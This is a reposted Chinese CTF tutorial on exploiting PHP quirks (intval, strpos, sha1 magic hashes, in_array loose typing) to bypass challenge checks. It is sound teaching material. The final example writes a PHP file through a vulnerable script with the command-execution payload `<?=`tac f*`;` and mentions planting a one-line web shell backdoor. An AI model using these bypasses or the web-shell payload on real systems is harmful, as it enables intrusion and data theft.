网络编程
位置:首页>> 网络编程>> php编程>> CTF中的PHP特性函数解析之中篇

CTF中的PHP特性函数解析之中篇

作者:XINO  发布时间:2023-06-11 12:56:20 

标签:CTF,PHP,特性函数

前言

上篇文章给大家带来了PHP中最基本的特性,不知道大家学习的怎样了,回顾上文,我们讲了MD5强弱碰撞以及正则匹配的绕过,总体来看还是很简单的,下面给大家带来新的PHP特性讲解,会稍微比上一篇难一些。

intval()

上一篇在最后时简单介绍了一下这个函数,我们看看官方是怎样定义的:

CTF中的PHP特性函数解析之中篇

简单来说就是让输入的数字变成整数,下面我们举个例子:

echo intval(1145.14);                     // 1145
echo intval('114514');                    // 114514

可以发现只对有小数点的数字起作用,正常的整数还是照常输出,那么它在CTF中是如何考察的呢,查看下面代码:

if($num==="1145"){
       die("no no no!");
   }
   if(intval($num,0)===1145){
       echo $flag;
   }

要我们强类型传入的不能等于1145,但后面经过intval函数又要等于1145,这不和前面的矛盾了,我们要怎样做呢?

这里介绍一下intval的特性,如果我们在函数里传入字符串,那么该函数就会返回不是数字的字符之前的数字,也就是说我们传入:

sum=1145a

intval就会判断我们传入的是1145,从而实现了绕过,还有另一种绕过方法:

CTF中的PHP特性函数解析之中篇

当base为0时,intval会自动进行进制转换,我们可以传入1145的十六进制形式来绕过。

strpos()

CTF中的PHP特性函数解析之中篇

根据手册可以看到,该函数以及与其类似的函数,作用都是匹配第一个或者最后一个字符,根据该函数特性,题目会经常围绕它作为一个限制头部的点,比如上面那题可能会增加限制:

if(!strpos($num, "0")){
       die("no no no!");

因为八进制开头通常为0,检测到的话就不能通过进制转换来绕过了。

sha1

CTF中的PHP特性函数解析之中篇

p>该函数的利用以及绕过方法类似于MD5函数,都是运用了PHP特性来做,这里简单看一下:


数组比较

类似于MD5,在SHA1里我们也可以使用数组绕过,具体可以看下面例子:

if(sha1($a)==sha1($b) && $a!=$b){
 echo $flag;
}

可以看到,也是一个弱比较,根据PHP特性sha1函数无法对数组进行处理,,于是我们传入数组来使结果为NULL:

a[]=1
b[]=2

强类型

与MD5相同,当然也存在强类型比较,我们不能用数组来进行绕过了:

if(sha1($a)===sha1($b) && $a!=$b){
 echo $flag;
}

这里同样有类似于MD5函数的解决方法:

a=aaK1STf    //0e7665852665575620768827115962402601
b=aaO8zKZF   //0e89257456677279068558073954252716165

array_push()

CTF中的PHP特性函数解析之中篇

可以理解为向数组尾部插入参数,我们看看是如何考察的:

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
   array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
   file_put_contents($_GET['n'], $_POST['content']);
}
?>

可以看到题目先向数组里插入随机数,in_array()是搜索数组中是否存在指定的值,根据它的语法:

CTF中的PHP特性函数解析之中篇

type会判断类型是否匹配,这就是我们利用的点,因为数组里数据为int型,根据PHP特性比较后字符串会转成int型,也就是说我们传入1.php也是没有问题的,后面有个写入文件操作,正好可以设置一句话木马连接后门,或者进行命令执行:

get:  n=1.php
post: content=&lt;?=`tac f*`;

来源:https://juejin.cn/post/7177373916879388731

0
投稿

猜你喜欢

  • 有空余的时候自己写了一下,代码没有进行很好的规整。如果发现bug请及时通告我,谢谢   主要功能:1、点击插入表情,可选
  • 阅读《YUI学习笔记(1)》《YUI学习笔记(2)》YAHOO.lang.later,YAHOO.lang.trim,YAHOO.lang.
  • 前两天写了一篇《浅谈网站用户粘性的含义》的文章,有些个别网友问可否谈谈怎么样加强用户粘性的问题?虽然对此本人没有系统的理论做以支撑,但是既然
  • 计算机键盘每天用得太多了,以致于我们无视它的存在(盲打),当然也很少有人去问这样一个问题——为什么键盘字母的排列方式是QWERTY而不是AB
  • 这片文章大体概括了一些设计网页中的大问题。希望能给你做下一个网页时给予一些儿启发。1、记住:你能掌控的时间是有限的我仅仅用4秒钟就能浏览完平
  • 如果是在Oracle10g之前,删除一个表空间中的数据文件后,其文件在数据库数据字典中会仍然存在,除非你删除表空间,否则文件信息不会清除。但
  • ASP开发中有用的函数(function)集合,挺有用的,请大家保留!'******************************
  • 前段时间开始学习JSON在ASP中的使用,JSON确实比XML方便。以前在写程序的时候有考虑使用XML来存储数据,但是一直觉得生成文档及文档
  • ASP实现语音分时问候,其实asp实现这个功能很容易,时间判断一下,在某个时间段就调用某个的背景语音。下面是源代码:  
  • MySQL 5.1采用了基于密码混编算法的鉴定协议,它与早期客户端(4.1之前)使用的协议不兼容。如果你将服务器升级到4.1之上,用早期的客
  • 思想:4个数字的排列,加上3个运算符的排列,使用后缀表达式的表现如下:情形一:1,2,3,4,+,-,* => 24*24*4情形二:
  • Javascript 正常取来源网页的URL只要用: document.referrer就可以了!但,如果来源页是Jav
  • 五、XML带来的好处 (1)更有意义的搜索 数据可被XML唯一的标识。没有XML,搜索软件必须了解每个数据库是如何构建的。这实际上是不可能的
  • Google Chrome,又喜欢逛豆瓣,Google Chrome支持User Scripts了,但是我写的那几个插件在Chrome下又跑
  • 随着网站访问量的加大,每次从数据库读取都是以效率作为代价的,很多用ACCESS作数据库的更会深有体会,静态页加在搜索时,也会被优先考虑。互联
  • 图片非常重要,它们可以让你的页面更好看,更引人注目。但是,高质量和漂亮的图片常常会很大,它们会让页面加载变慢并消耗更多带宽。所以我们,这些设
  • 关于跨域这个话题,很早就答应过要分享,但是因为懒,一直拖着,直到D2上有人谈起了“完美跨域”。“跨域”应该已经算不上什么难题了,只是提起“完
  • 在OOCSS中怎么定义“对象”?对象类似JAVA中的类,保持着OO的特征。一个CSS对象由4部分组成:可能是一个或多个DOM节点的HTML由
  • 所谓天赋(左脑和右脑)也就是你是否有艺术天赋,天赋也许是存在的,这主要在于人类左右脑的分工。左脑主要负责逻辑理解、语言、判断、分类、分析、推
  • 平时我们在使用MySQL数据库的时候经常会因为操作失误造成数据丢失,MySQL数据库备份可以帮助我们避免由于各种原因造成的数据丢失或着数据库
手机版 网络编程 asp之家 www.aspxhome.com